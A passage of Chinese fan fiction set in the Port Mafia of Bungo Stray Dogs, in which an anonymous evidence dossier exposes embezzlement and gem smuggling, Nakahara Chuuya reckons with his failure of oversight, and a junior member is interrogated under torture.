内容:资产回收科出具的专业装备鉴定报告副本,结论明确指出:“所述装备功能完好,性能参数达到出厂标准95%以上,所谓‘高强度对抗损毁’与事实严重不符。”
来源:资产回收科鉴定员出具。
证据编号A-03:关联虚假报告样本
内容:战术目镜的虚假报废单(报损原因:系统殉爆)与鉴定员最初被迫签署的,与之矛盾的初步检查记录
来源:鉴定员提供,用以展示造假惯例。
证据编号A-04:非法处理的核心资产
内容:照片与内部记录。显示一台突击车引擎,所有识别编号被专业工具磨除,却被作为“报废金属元件”签收。附资产回收科内部备注:“编号人为磨损,来源存疑,建议上报安保部”,后附有该建议被被上级秋山主任强行驳回的通讯记录
来源:鉴定员提供,展示上级倾轧惯例
B
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() {
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:走私宝石,偷梁换柱(侵吞组织流动资产)
证据编号B-01:宝石伪装转运现场记录
内容:数张照片及手写速记文本。显示行动组一组岛田队长,物资科当班值班员村濑及青木在场,青木正在“待报废电子元件”转移单上签字。文本记录关键对话及“箱隙见未切割宝石蓝光”的细节。
来源:物资科成员拍摄并记录。
证据编号B-02:计划书矛盾条款
内容:项目原始计划书关键页副本,红圈标出数条矛盾条款
来源:情报科匿名提供。
证据编号B-03:码头火拼现场证物
内容:
现场照片:记录被遗弃的灰色金属箱、箱内伪装的废金属层。
实物证物:密封袋封装,内为在码头战场(箱体旁)收集到的未切割蓝宝石碎屑。
音频记录:文字速写记录,敌方喊话:“港口黑手党不讲信用!桥本那个狗东西!”
来源:后勤科成员于码头枪战现场收集,拍摄,记录。
证据编号B-04:未销毁的走私品实物
内容:报告及封存记录。指出在码头冲突后,有四箱标为“待报废电子元件(编号K7-333等)”的货物被物资调配中心主任今井紧急“接管”并转移至D区仓库封存,未经正常查验流程。
来源:物资科成员记录与后续调查。
C:虚报费用,套取现金(骗取组织运营资金)
证据编号C-01:阴阳运输单据
内容:并排放置的港口黑手党正规运输单与“山下运输”公司开具的运输单复印件,货物,日期一致,但后者里程,费用虚高近三倍。附手绘绕路路线对比图。
来源:清洁工于垃圾中拼接复原。
证据编号C-02:问题发票关联记录
内容:“山下运输”多张异常发票的汇总,均经桥本组长签字批准。其中最新一张的模糊箱号与B-01证据中的箱子编号部分重合。
来源:清洁工收集。
D:核心罪证与掩盖罪行(将贪污利益个人化,并试图毁灭证据)
证据编号D-01:境外资金账户关键文件
内容:
瑞士银行账户确认函副本(拼接件):显示银行LOGO,账户持有人英文名“Hashimoto”清晰签名。
项目备用金异常划拨批复单:显示有资金以“特别行动基金”名目,被批复汇入与上述确认函银行相同的境外机构。
来源:从桥本销毁的碎纸机残骸中抢救并拼接。
证据编号D-02:被破坏的电子密钥
内容:实物照片。两张芯片表面被暴力刮花,无法辨识的银色密钥卡。
来源:清洁工于回收垃圾中捡拾所得
证据编号D-03:宝石销赃资金流向实证
内容:
1. 《特殊资产处置收益入账通知单》复印件
日期:5月12日(今井三人喝酒3天后)
处置标的:“待报废电子元件,总计15箱”
处置方式:“第三方协议回收”(买方栏空白)
账面处置金额:62,000,000日元
批准人签章:桥本
备注栏手写:“款项已由‘山下运输’代收并完成结算”
2. 《外部合作方付款确认书》复印件
日期:5月15日
付款方:“山下运输株式会社”
收款方:“横滨港区第三街区振兴基金”(非组织关联账户)
付款金额:62,000,000日元
事由:“技术咨询服务费”
下方附有桥本组长手写批示:“已确认收讫,按特殊项目备用金流程归档,勿入常规审计范围。”
3. 《跨境汇款申请单》复印件(银行留存联影印件)
日期:5月18日
申请机构:“横滨港区第三街区振兴基金”
收款银行:瑞士联合银行(UBS)苏黎世分行
收款账户:XC-7821-559B-HASHIMOTO
汇款金额:58,900,000日元(附银行手续费计算单,显示差额为手续费及中间账户操作费)
4. 手写说明(附三人签名及指印)
“我等三人确认:上述三份文件原件曾于本月归档时经手。根据同期《宝石项目库存核销记录》,编号K7-285至K7-300的‘电子元件’实为该月入境的一批未切割蓝宝石(约2200克拉,市场估价不低于2亿日元)。该批货物未按规程进入对应物流仓库,而是经桥本科长签字后直接作为待报废品,并由‘山下运输’提走。账面处置金额(6200万日元)仅为实际价值的31%,且最终资金流向与科长个人控制的境外账户存在明确关联。我们愿实名为上述陈述的真实性承担责任——财务科第十三批新人:高木彻,森下爱莉,原田健一”
来源:财务科三名新人提取并复制的内部流转单据
证据编号D-04:毁灭证据的直接证据
内容:
深夜异常粉碎记录:后勤单据显示,审计风声传出后深夜,财务科紧急申请两台并报废一台高性能工业碎纸机。
证人证言:资产回收科值班员证词,称该批次碎纸机报废理由牵强,且财务科人员表现异常紧张。
来源:后勤流程记录+鉴定员证词。
证据编号D-05:斋藤葵事件关联线索(杀人灭口)
内容:
情况说明:指出财务科新人斋藤葵在审计前期曾私下表达对“山下运输”发票异常的疑虑,不久后便因“泄露组织机密”罪名在B2审讯室被私下处决(后附有对现场环境细节的详细影像记录)
实物证物:在B2审讯室现场采集到的微量蓝色宝石碎屑(证物袋封装)
内部证言:三名财务科新人的联名手写信,证实斋藤葵生前疑虑及她突然被定罪处决的异常情况。
来源:清洁工现场搜集,与财务科内部员工证言。
墙上的古典挂钟,秒针走动的嘀嗒声从未如此清晰,如此缓慢
十五分钟后,森川缓缓翻到了最后一页。
「附录:证据来源说明」
上面只有一行简洁的打印字:
“本汇编所有证据,均来源于港口黑手党内部正常业务流程记录,现场勘查,以及恪尽职守的底层工作人员之眼。蛀虫蚕食组织之基,唯事实与证据可涤清污秽。”
他眨了眨眼,镜片后的目光掠过一丝不易察觉的动容,随后迅速恢复了冷静
“看来,我们已经找到了答案。”
他站起身,双手拿起这份厚厚的文件,信步走到台前,
“藤本,切换投影仪画面。”
27.亲爱的朋友们,今天来相会~(下)
——
“藤本,切换投影仪画面,准备高清文件拍摄仪。”
“是!”
审计员藤本迅速撤下折线图
屏幕短暂地陷入一片空白,映出会议室里众人神色各异的脸。
接着,他快步从设备箱里取出拍摄仪,安装在投影仪延伸臂上,调整好焦距和灯光。
森川拿着文件,步履沉稳地走向台前
他将文件轻轻放在拍摄仪的托盘上,调整了一下角度,确保每一页都能被清晰捕捉。
他按下拍摄仪的开关,一束冷光打在文件白色的扉页上。
投影屏幕再次亮起
《关于“蓝宝石之心”项目及相关财务,物资流程异常证据汇编》的标题,以及下方那行“呈递:港口黑手党审计部 / 时间:即日”的小字,被放大了数倍,呈现在所有人面前
“基于刚刚收到的这份匿名材料,”
森川开口,声音清晰地传入每个人耳中,“以及材料本身的完整性,专业性和所呈现证据的严重性,我认为有必要中止原有的问答流程。”
他顿了顿,目光锐利地扫过桥本,“接下来的时间,我们将共同审阅这份‘汇编’。桥本科长,太宰干部,中原准干部,以及各位,在此期间请保持安静。任何问题或澄清,请在全部展示结束后,按程序提出。”
这不是商量,这是宣告。
中原中也的心脏猛地一缩。
森川的手指,翻开了扉页。
目录页。
A、B、C、D四个大类,下面分列着细目。
虚假报废,盗卖装备,走私宝石,偷梁换柱。虚报费用,套取现金,核心罪证,掩盖罪行,杀人灭口……
“嘶——”
中也身后的秘书倒吸了一口冷气,脸色发白
桥本站在投影幕布旁,激光笔早已脱手掉在地毯上。
他想动,想喊,想阻止,但森川那不容置疑的气势,以及屏幕上那触目惊心的目录,将他的声音死死钉在喉咙里。
中也的呼吸屏住了,他的目光急速扫过那些条目。
A类他隐约有所预感,B类让他心惊,C类令他愤怒,而D类……
核心罪证,杀人灭口
他负责的项目底下,不仅仅有蛀虫,还有命案?!
森川没有在目录页停留太久
他翻开正文
证据编号A-01:战术套件虚假报废实证
高清彩色照片充满了整个屏幕,崭新反光的“猎犬”战术套件,包含手套,目镜,作战服,被整齐排列在地上。旁边,是一张放大的、同样清晰的单据照片,上面“高强度对抗中完全损毁”的红色印章和手写批注,显得刺眼而荒谬。
森川不语,继续翻页。
证据编号A-02:专业鉴定报告
资产回收科的标准报告模板,结论部分被红框醒目地标出:“所述装备功能完好,性能参数达到出厂标准95%以上,所谓‘高强度对抗损毁’与事实严重不符。”下面是鉴定员的签名和印章,以及报告出具日期。
“资产回收科……”
中也喃喃道,他想起了太宰提醒过的,荒芜花园里唯一一块好苗圃。难道……
证据编号A-03/A-04……
一张张照片,一份份内部记录,有被迫签署的矛盾文件,有被磨掉编号的引擎特写,有资产回收科内部系统留言的截图,以及后面跟着的、被秋山主任粗暴驳回的通讯记录。
铁证如山,层层递进,不仅证明了造假,还证明了系统性的压制和掩盖。
桥本的身体开始微微摇晃,他不得不伸手扶住旁边的演讲台边缘,指关节捏得发白。
台下,佐佐木面如死灰,低着头,不敢看屏幕,也不敢看任何人。
森川翻页的速度平稳而坚决,仿佛一位冷静的解剖医生。
B类证据出现。
证据编号B-01:宝石伪装转运现场记录
照片有些模糊,显然是偷拍,但足以辨认出岛田队长的侧脸,物资科值班员村濑的身影,以及——青木胜也,新人入职的第一名,正拿着电子笔,在一个平板设备上签字。旁边的速记文本被放大:“青木签字确认,箱隙见蓝光,疑似未切割宝石!大量!”
会议室里的温度骤降。
接着是B-02:计划书矛盾条款,红笔划下的线条清晰可见
B-03:码头火拼现场证物,箱子的照片,蓝宝石碎屑的特写,那句用加粗字体打出的敌方喊话记录——“港口黑手党不讲信用!桥本那个狗东西!”
B-04:未销毁的走私品实物,指向了被今井主任紧急封存的D区仓库货物。
每读过一条,桥本的脸色就灰败一分,扶着演讲台的手颤抖得越来越厉害。
中也的拳头在桌下紧紧攥住。
他现在完全明白了,那条陡峭上升的“待报废零件”曲线,对应的到底是什么!
那不是零件,那是被伪装起来的,源源不断流失的宝石和装备!而自己,作为项目负责人,竟然一无所知,甚至……成了这桩罪恶的门面和保护伞?
C类证据相对简短,但同样致命。阴阳运输单据的并列对比,路线图的嘲讽,问题发票的汇总,以及最新一张发票上那模糊却与B-01证据中箱子编号部分重合的箱号
所有这些“不起眼”的费用虚报,像无数细小的血管,为贪污主体输送着养分,也留下了无法磨灭的痕迹。
然后,来到了D类。
屏幕上的文字似乎带上了更沉重的分量。
证据编号D-01:境外资金账户关键文件
那张被拼接起来的瑞士银行确认函副本出现了
银行的徽标,以及那个清晰的英文签名“Hashimoto”,在高清投影下,每一个笔画都无可辩驳,旁边是项目备用金异常划拨的批复单,指向同一个境外机构。
一声嘶哑的喊叫堵死在桥本的喉咙口。
那个清洁工……那个该死的清洁工!
证据编号D-02:被破坏的电子密钥。
证据编号D-03:宝石销赃资金流向实证。
森川翻页的动作几不可察地停顿了半秒。
《特殊资产处置收益入账通知单》,《外部合作方付款确认书》,《跨境汇款申请单》复印件
三份文件,将“宝石(伪报废品)—虚假交易(山下运输)—洗钱账户(振兴基金)—最终落点(瑞士个人账户)”的路径,赤裸裸地呈现出来。
时间,金额,签名,批示,环环相扣。
最后,是三名财务科新人的联名手写信和指印。
高木彻,森下爱莉,原田健一。
三人的文字不仅坐实了宝石被偷梁换柱,低价处理,更直接指控桥本组长个人控制的境外账户是最终受益方,并声明愿实名承担一切责任。
没有人不清楚实名的重量
会议室内死寂一片,只有文件拍摄仪风扇轻微的嗡鸣,和桥本越来越无法控制的粗重喘息。
佐佐木已经瘫坐在椅子上,双目失神。
刺骨的寒意笼罩了中也
这不是简单的贪污,这是一套完整,精密,冷血的犯罪体系。
而他,坐在负责人席位上,却像个被告人。
森川深吸一口气,翻开了最后一份实质性证据。
和前述证据不同,它单开一页
证据编号D-05:毁灭证据的直接证据
深夜异常粉碎记录,证人证言,情况说明,实物证物,内部证言……
当“杀人灭口”这四个字以书面形式,伴随着现场证物和内部证言出现时,性质彻底改变了。
“砰!”
一声闷响。
是中原中也的拳头,重重砸在了厚重的红木会议桌上。
他猛地站起身,眼眸里燃烧着怒火和耻辱,死死盯住摇摇欲坠的桥本。
「如果一个认真遵守了所有规则的人,却因此而被杀了,这样的规则,还成立吗」
“桥本——!!”
“中原准干部。”
森川平静的声音响起,打断了中也
“请克制,流程尚未结束。”
中也胸口剧烈起伏,但他死死咬住牙,硬生生将后面的话咽了回去。
他感到的不仅是愤怒,还有一种被狠狠背叛和利用的恶心感。
他的项目,他的信任,他的职责,全都成了笑话。
森川最后翻到了附录页。
那行简洁的打印字出现在屏幕上:
“本汇编所有证据,均来源于港口黑手党内部正常业务流程记录,现场勘查,以及恪尽职守的底层工作人员之眼。蛀虫蚕食组织之基,唯事实与证据可涤清污秽。”
“代表署名:一位不愿透露姓名的清洁工”
这份结语,没有煽情,没有控诉,只是陈述了一个事实,却蕴含着难以言喻的力量和讽刺。
森川沉默地看着这行字,足足看了五秒钟。
然后,他关掉了文件拍摄仪的灯光。
屏幕暗了下去,会议室重新被正常的顶灯照亮,但每个人脸上都仿佛还残留着刚才那些证据投射出的光影。
四类证据,加上两小袋宝石碎屑
铁证如山,足以定罪
“材料展示完毕。”
森川的声音在寂静中回荡,“基于目前已掌握的证据,其指向性,完整性和严重性,已超出常规审计范围。”
他目光如刀,直射桥本
“桥本科长,对于上述证据汇编中所列举的所有事项,包括但不限于系统性虚假报废侵吞资产,勾结外部走私并侵占组织贵重物资,利用职权虚报费用套取资金,非法设立并控制境外账户转移赃款,以及涉嫌为掩盖罪行而毁灭证据乃至涉及人员非正常死亡事件,你有什么需要解释或澄清的吗?”
“我……我……”
桥本张了张嘴,却连一句完整的话都说不出来。
“扑通”一声。
他双膝一软,直接跪倒在了会议室的地毯上。
“不……不是的……是……是他们逼我的……那些钱……账户……我……”
语无伦次,彻底崩溃。
森川面无表情地看着瘫倒在地的桥本,对藤本示意:“记录在案,嫌疑人桥本健一,在初步证据质询环节,放弃陈述,且呈现精神崩溃迹象。”
他转向另一名审计员:“通知安保部,立刻控制桥本健一及其直属心腹佐佐木和荒野,隔离审查。查封财务科相关办公室及所有电子设备,文件柜。”
“是!” 两名审计员立刻行动起来。
森川这才将目光转向脸色铁青,依旧处于巨大震惊与愤怒中的中原中也。
“中原准干部,”
他的语气稍微缓和,但依然公事公办
“作为‘蓝宝石之心’项目总负责人,项目出现如此重大,系统性的问题,您负有不可推卸的监管责任。在彻底查清事实,厘清责任之前,请您暂时停止项目的一切指挥权,并需要全力配合审计部及后续可能展开的专项调查。这是流程,请您理解。”
中也的嘴唇抿成直线,重重地点了一下头:“……好。”
森川不再多言,收好文件和证物袋,带着审计组的人,如同进来时一样冷静有序地离开了会议室。佐佐木和瘫软的桥本也被安保人员带走。
偌大的会议室里,瞬间只剩下中原中也,秘书和太宰治三人。
“扑通!———”
又是膝盖和地毯碰撞的声音,
来自中也身后——他的私人秘书
一个跟了他半年,总是沉默勤勉的年轻人。
那年轻人面色惨白如纸,额头重重磕在地毯上
“中……中原大人……对……对不起……”
他的声音破碎,混杂着恐惧和哽咽,“我……我收了桥本科长的钱……每次……每次您计划要去仓库巡查前……我都……我都提前告诉他了……”
中也愣住了,一时之间甚至没反应过来这句话的含义。
秘书将额头死死抵住地毯,不敢抬头,语速越来越快
“他说……说只是想确保仓库‘整洁’,不给您添麻烦……我……我没想到他们是在做那种事!我真的不知道!但……但我知道自己错了……求您……求您……”
中也缓缓转过身,看着那个几乎蜷缩在地上的身影。
他想起自己几次临时起意改变行程,却发现仓库备货“异常充足”,想起自己曾随口对秘书提过下一次的核查重点……
原来,自己所谓的“突击检查”,在别人眼里,从来都是一场提前收到剧本的表演。
“你……”
中也的声音很轻,干涩沙哑,“你居然……”
就在这时,角落里传来一声叹息。
“啊啦,看来这里……还有一条自知之明的漏网之鱼呢。”
太宰不知何时已经走到了台前
他掏出通讯器,用清晰而平淡的语气说:“进来两个人,18层大会议室。带走一个主动坦白的协同舞弊者。动作轻点,别打扰了中原准干部……思考。”
他话音刚落,会议室的门就被无声推开
两名穿着黑色制服、面无表情的黑蜥蜴迅速走入。
他们径直走向瘫软的秘书,一左一右,极其专业且沉默地将他架了起来。
秘书没有挣扎,只是最后用泪眼模糊的视线看了中也一眼,然后便被带离了会议室,消失在走廊的阴影中。
门再次关上。
中也依然坐在那里,盯着面前空无一物的桌面
太宰随手捡起了地上那支被桥本遗落的激光笔,在指尖漫不经心地转着。
“精彩,真是精彩。”
他的声音带着毫不掩饰的愉悦,“一场由清洁工主导,审计组搭台,财务科唱戏的……完美落幕。你说呢,中也?”
沉浸在颓丧中的中也霍然抬头:“太宰!你少在这里说风凉话!这一切都是你……”
“我怎么了?”
太宰歪着头,一脸无辜,“我又不是项目负责人。我只是个旁观者。哦,对了,最开始把项目书给你的时候,我是不是说过一句?”
他做出回忆的样子,“‘框架还行,就是细节上留了点‘灵活性’,方便你应对突发状况’?哎呀,现在看来,这‘灵活性’是不是有点太灵活了?灵活到能让老鼠打洞,蛀虫做窝?”
中也的瞳孔骤然收缩。
太宰交给他的,那份计划书母本里果然有猫腻!
什么“框架还行”,根本就是个诱人堕落的陷阱!
“混蛋太宰……你从一开始就在算计我!”
“算计?”
太宰轻笑一声,激光笔的红点在空中划过一个嘲讽的圈,最终落在中也面前的桌面上,
“中也,你可是港口黑手党最忠诚,最锋利的刀。我算计你什么?算计你会像桥本那样贪钱?算计你会对眼皮底下的肮脏视而不见?”
他凑近了一些,声音压低,却字字诛心,
“不,我算计的,或者说,我期待的,正是你现在这副失魂落魄的样子啊,因为你从来只相信你拳头能打到的东西,只看得见明面上的敌人。对于藏在规则缝隙里,躲在忠诚表象下的蛆虫,你这双只会用重力的眼睛,根本就是瞎的。”
他直起身,用激光笔的红点点了点自己的太阳穴:“真正的腐蚀,从来不是来自外部的攻击,而是来自内部被纵容的贪婪。我给你那份计划书,只是想看看,在你这样‘正直’的管理下,那些藏在条款阴影里的‘可能性’,会被放大到什么程度。是会被你敏锐地发现并修正,还是……成为滋养罪恶的温床?”
他耸耸肩,笑容冷淡,“结果嘛,显而易见。你忙着用重力碾压外敌,忙着维护你‘负责准干部’的威严,至于脚下的地基是不是早就被蛀空……你哪有空低头看呢?”
“混蛋——!!”
中也再也无法忍受,猛地站起身,重力异能的红光亮起。
太宰却纹丝不动,甚至笑得更加开心
“啊啦,要动手吗?在这里?中也,你的脑子果然永远跟不上你的肌肉。”
他无视中也狂暴的杀气,转身走向门口,语气恢复了那种轻飘飘的戏谑
“不过,托你的福,这场戏看得我很满意。至少证明了,再华丽的宝石项目,交给一个只会低头猛冲,不懂低头细看的肌肉笨蛋,最终也只会变成粪坑。而清理粪坑的,往往是你最看不起的那些……嗯,‘清洁工’。”
他在门口停下,回头
“好好享受这份‘审计教材’吧,重力使大人。记得感谢那位‘清洁工’小朋友哦,他不仅清理了垃圾,还免费给你上了一课——关于如何真正地‘负责’。虽然这学费,贵得让你有点丢脸
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就是了。”
哼着不成调的歌,太宰心情极佳地离开了会议室
留下中也一人,独自面对满室的狼藉和心中翻腾的惊涛骇浪。
面对太宰的讽刺,他无法反驳。
他的急躁是事实,他的失察是事实,他的傲慢是事实,他甚至可能无形中成了罪恶的帮凶……
他缓缓抬起手,看着自己的掌心。
这双手能操控重力,毁灭强敌,却连自己麾下最基本的污秽都察觉不了,保护不了。
连一直跟随自己左右的秘书,都被策反了
他信赖的,器重的,依靠的手下,原来自始自终,都只把他当成犯罪的遮羞布。
「守规则的人被动了,就是在所有按规则做事的人脸上甩耳光!这他妈能忍?找到是谁干的,然后碾碎他——这才是规则该有的样子!」
「中也,你就好好休息吧……在你的死为“羊”做出最后的贡献之后」
他抓起桌上的黑色礼帽,用力扣在头上,走出了会议室。
——
港口黑手党总部大楼,48楼,花园
直到清新微冷的空气涌入鼻腔,中也才反应过来他身在何处。
临近正午,阳光已经变得明亮而温暖,毫不吝啬地洒在每一寸土地上。
眼前的景象让他微微一怔。
那四片苗床上的杂草都消失了,板结的土壤被重新翻过,变得湿润疏松。角落里那些碍眼的零食包装和空罐子也早已消失不见。
那块靠近砖房的苗床,绿意更加盎然。十几株幼苗都长高了一些,甚至有几株已经抽出了细小的花苞。
一个穿着蓝色卫衣的中年男人正半蹲在那片好苗圃旁,仔细地给一株幼苗的根部松土
中也的脚步顿住了。
他记得他,远藤守
一个多月前,他就站在这里,目睹了自己如何盛怒地带走了……
远藤察觉到了身后的目光,缓缓转过头。
看到中也时,他脸上并没有太多惊讶,只是放下铲子,扶着膝盖站了起来。
“中原先生。”远藤点了点头,语气平和。
中也张了张嘴,一时间竟不知该说什么。
道歉?为自己当初的粗暴闯入?还是为自己的鲁莽导致这片花园荒芜,甚至牵连更广的罪恶?哪一种道歉都显得苍白又可笑。
他的目光下意识地扫过花园,似乎在寻找另一个身影。
“璃久……望月他不在,这个时间,他一般都在打扫三大楼的盥洗室。”
远藤的声音温和,没有半分指责和阴阳怪气。
“哦……”
中也嘟囔一句,神情有些空茫
他竟然有一瞬间,期待在这里看到那个少年。
期待什么?质问?怒视?还是……
他其实根本不知道该用何种面目去见那个被自己打入清洁科,又凭一己之力掀翻整个审计过程的“小怪物”
“……他……”中也的喉咙有些干涩,视线落在砖房边的苗床上,“……每天都会来?”
远藤微微一笑:“嗯,天没亮的时候来,赶在清洁科报道前。”他顿了顿,补充道,“在你把他调去清洁科之后,也从没间断过。”
这句话很轻,只是陈述事实,却更让中也感到无地自容。
那个被他判定为废物,需要惩戒的垃圾少年,始终在用一种沉默而坚韧的方式,坚守着某种东西。
而自己,作为掌握权力的一方,又做了什么?
“远藤先生……”
中也摘下了帽子
第一次,在比自己低职位的人面前
“关于……望月……关于之前我在这里的鲁莽,还有……真的,很抱歉。”
他知道这句道歉,来得太迟,来得太轻
但他无论如何,都应该这么做
为了远藤,为了望月,为了……所有因为自己的失察而遭受痛苦的人……
远藤静静地看了他几秒,没说什么,只是指了指不远处的凉亭
“坐一会儿吧,中原先生。太阳很好,适合说说话。”
中也犹豫了一下,跟着远藤,一前一后走到凉亭下
他让出了唯一的那块石头,自己盘腿坐在地上。
“中原先生,您知道吗。”
远藤缓缓坐下,看向不远处的四块苗床
“土地啊,它不会说话,但它会告诉你答案。你敷衍它,它就还你一片荒草,你认真待它,哪怕只是很小一块,它也会报以新绿。”
中也沉默地听着,
和之前太宰的一样,他知道这不仅仅是关于园艺。
远藤指了指远处那片好苗圃,又指了指周围的荒芜
“出了问题,光生气,光追究是谁撒错了种子,谁没来浇水,是没用的。你得先低下头,看清楚土里到底长了什么,根子烂在哪里。然后把该拔的草狠心拔掉,该补的苗耐心补上。”
“最重要的是,得学会分辨,哪些是真正在照料土地的人,哪些,又是只会做表面功夫,实际对这片土地有害的人。”
表面功夫……
中也想起最初,桥本汇报的那些内容
「周转速度提升了27%,单位运营成本(包括运输、保管和‘打点’费用)下降了15%,月净利润环比增长42%,应收账款周转天数从9.5天降到了6.1天」
他嘴角动了动,扯出一个苦笑
现在听来,矛盾简直明显的离谱,而当时志得意满的自己竟然信以为真,还喝了一晚上的庆功酒
“但其实,光明白这些,还不够。”
中也抬起头,凝神细听
“最难的,是学会观察泥土下面的动静,知道什么时候该松土,什么时候该施肥,什么时候……仅仅看着,让它们自己生长就好。”
远藤笑了笑,话语中带着一丝充满谦卑的克制,“管理一个花园,和指挥一场战斗,或许不一样。战斗要快,要狠,要摧毁目标。但照顾一个花园,需要的是耐心,观察,和……允许它按照自己的方式呼吸。你要做的不是控制一切,而是在它需要的时候,给予恰到好处的帮助。”
中也静静听着,眼神恍惚
太宰指责他“瞎”,只看得见明面的敌人。而远藤则告诉他,真正的“看”,是细致入微的观察,分辨与等待。
“我……”
中也的声音带着挫败,“我以为把项目做好,把敌人打跑,就是负责。我没想到……‘负责’还需要去看那些藏在条款里。笑脸下的‘杂草’……”
“羊”的背叛,会不会也是因为……
远藤看着他,眼神中没有责备
“中原先生,您作为重力使,守护着港口黑手党的大门,抵御外敌,这是无人可以替代的功绩。但大门内的庭院,也需要园丁来细心照料。园丁失职,庭院荒芜,但若因为园丁发现了害虫,就去责怪守门人为何没早用重力把害虫压死……这本身,也是一种苛责,不是吗?”
中也的眼睛睁大了,眸中闪过一丝动容
他没想到远藤不仅没有责备他,甚至,在为他辩护……
“我……不会推卸责任。”
中也低声说着,声音有些哽咽,“该我承担的,我不会逃避。只是……”
他看向远藤,眼眸中仍有困惑,“我该如何……才能看到那些‘杂草’?”
远藤笑了,那笑容通透澄净,如同头顶水洗般的蓝色晴空
“打理一个花园,需要的是耐心,观察,是分辨哪些该留,哪些该除的细微眼力,是知道何时浇水,何时施肥的恰当分寸。这些,都是和强大的重力不同的力量。”
“如果,您实在不知道该如何做,可以先从低下头开始。”
不是一味地朝前看,而是低下头,时刻确认自己是否走在正确的路上。
中也恍惚的眸中闪过一道光
一年多前,入职时首领对他说的那些话,如今听来,每一句都是绝佳的提醒
他笑了笑,又懊恼地揉了揉脑袋
一年多了,中原中也依然没能成为一个好老大
他刚愎自用,他鲁莽急躁,他依然不懂人性
但
中也重新戴上帽子,目光投向砖房下,苗床里细小的花苞
但他可以重新开始学习
学习如何不再仅仅做一把一往无前的刀。
学习如何低下头,真正听一听角落里的声音
28.最痛不过回旋刀
——
港口黑//手//党三栋大楼,地下B2层
1号审讯室
无影灯从天花板垂直打下,照亮了房间中央被牢牢铐住的青年。
青木胜也。
他低垂着头,原本一丝不苟的行动组制服皱巴巴地贴在身上,肩上的船锚徽记早已被撕去。
“青木胜也,证据编号B-01,照片中在码头仓库‘待报废电子元件’转运单上签字的人,是不是你?”
审讯官的声音平稳,冰冷。
“……是。” 青木的声音干涩沙哑。
“你是否清楚箱内实际物品与标签所称‘电子元件’严重不符?”
“我……当时不知道。”
“单据上‘确认签收’的批注,是否是你亲手所写?”
“……是。”
“为什么没有对明显异常的情况,包括多次深夜接收,箱体异常沉重提出质疑或上报?”
“我……服从队长的命令……”
“所以,你承认在至少十二份类似单据上,未经核实便以行动组成员身份签字确认,为非法物资转运提供了关键的程序合法性?”
“我……承认……”
每承认一项,青木就觉得自己的脊梁骨被抽走一寸。
那些他曾以为代表着信任的签名,此刻却将他死死捆在叛徒和帮凶的耻辱柱上。
他签下的不是名字,是给自己的判决书。
隔壁隐约传来咆哮、怒骂,沉闷的击打声和压抑的惨哼。
那是岛田队长的声音。
声音透过并不完全隔音的墙壁传过来
崩溃的推诿,疯狂的指控,以及……将他青木胜也的名字反复抛出来当挡箭牌的声音。
「……都是青木那小子经手的!我不知情!」
「他签的字!他应该负责!」
「是他和物资科的人勾结!对!一定是他!」
每一句隐约飘来的嘶吼,都像一把钝刀子,在青木早已麻木的心上来回切割。
他被利用了。
从头到尾,彻彻底底。
岛田队长……不,岛田。那个他崇拜,追随,愿意为之赴汤蹈火的男人,从一开始,就在把他往火坑里推。
那些“特殊任务”,“保密要求”,“队长对你的信任”,全都是包裹着糖衣的毒药。
他成了一个用忠诚和热血铸就的,既顺手又完美的替罪羊。
为什么从未怀疑?
因为崇拜蒙蔽了眼睛
因为“服从上级命令是天职”的信条刻进了骨子里
“根据现有证据链,你经手签字的所谓‘报废元件’,实则为未切割蓝宝石,本应是组织的合法资产,如今经非法渠道运出组织,价值预估超过八十亿日元。你对此有何解释?”
组织……资产?
八十亿……日元?
青木猛地抬起头,嘴唇颤抖着,却发不出任何声音。
八十亿
他以为只是帮队长处理一些灰色地带的麻烦,或许涉及一些违规的装备倒卖
但他从未想过……是这种天文数字的,赤裸裸的盗窃!盗窃组织的财产!
“我……不知道……我真的不知道是宝石……”
“不知道?”
审讯官的声音依旧没有起伏
“一句不知道,就能抹去你十二次签字所赋予的非法流程合法性吗?青木胜也,你的笔,是组织的授权。你每一次落下,都代表着港口黑//手//党对那批‘货物’流转的确认。你以为你签的是‘元件’,但法律和规则看的是你行为造成的事实,那就是你帮助了一批价值八十亿日元的赃物,在组织的眼皮底下,完成了所谓‘合法’的转移。”
“我不知道……我只是听从命令……”
青木徒劳地重复着
“命令?”
审讯官微微提高了音调,带着一丝冰冷的嘲讽
“港口黑//手//党的第一条铁律是‘绝对服从’,但第二条,是‘对组织的绝对忠诚’。当命令明显损害组织利益时,盲从就不再是美德,而是共犯的温床。”
“青木胜也,最后问你一次,你是否在知情的情况下,协助桥本集团转移宝石?”
“我不知情!我真的不知道里面是宝石!”
青木嘶喊起来,挣扎使得金属手铐深深勒进腕骨
但他感觉不到痛,只有淹没一切的恐惧和对清白的绝望渴求。
不是我……真的不是我……
明明……不是我做的啊……
「青木哥!你相信我,葵前辈她不是那样的人!她绝对不会泄露组织机密!她是被灭口的!因为她发现了不该发现的东西!……」
「收起你那天真的想法!健太郎!要想活下去,就忘掉那个女人!忘掉那件事!」
「你首先是港口黑//手//党的一员!是组织的一员!怎么可以质疑组织的决定?!」
“呃啊——!!!!”
电流从脊椎骨下方窜遍全身,仿佛有无数烧红的细针,沿着神经的走向瞬间穿刺到四肢百骸
视觉瞬间变成一片雪白,听觉里只有来自心脏的轰鸣和喉咙里无法控制的惨嚎。
“鉴于你目前完全不承认对赃物性质的知情,且主要嫌疑人已经指证你为共犯,常规问询已无法推进。”
审讯官对行刑者点了点头,“继续,直到他愿意开始面对事实,而不仅仅是重复‘不知道’。”
白光在昏暗的房间内不间断的亮起
噼啪声,惨叫声
青木的身体在痉挛与僵直间切换
汗水,口水,泪水,混在一起浸透了制服。
但比起身体更痛的,是心
无数画面不受控制地涌入脑海:
岛田拍着他的肩膀,说“你是我最看好的新人”。
那些深夜押运任务后,队长递来的热咖啡,和那句“辛苦了,回去好好休息。”
还有……自己那份因为被“委以重任”而生出的骄傲与忠诚。
他信仰的一切,他为之奋斗的一切,他视为人生意义的一切,全都失去了意义。
「你首先是港口//黑//手//党的一员!是组织的一员!怎么可以质疑组织的决定?!」
“为什么……为什么要这样对我……我只是……只是想做一个好部下啊!!!”
他涕泪横流,像个迷路的孩子一样呜咽着,嘶吼着。
“我听队长的话……我努力完成任务……我犯了什么错?!告诉我啊!!!听话到底有什么错?!”……
审讯官静静地看着他,抬手做了个手势
电流停止了
但青木已经失去了力气
他不再挣扎,眼神空洞,盯着身下深灰色的地面
冤屈,恐惧,绝望
三团情绪在他心口来回交织,冲撞,化作眼泪无可自抑的流下——
为什么不愿意相信我……
「青木哥!求你了!你就不能听我说完吗?!」
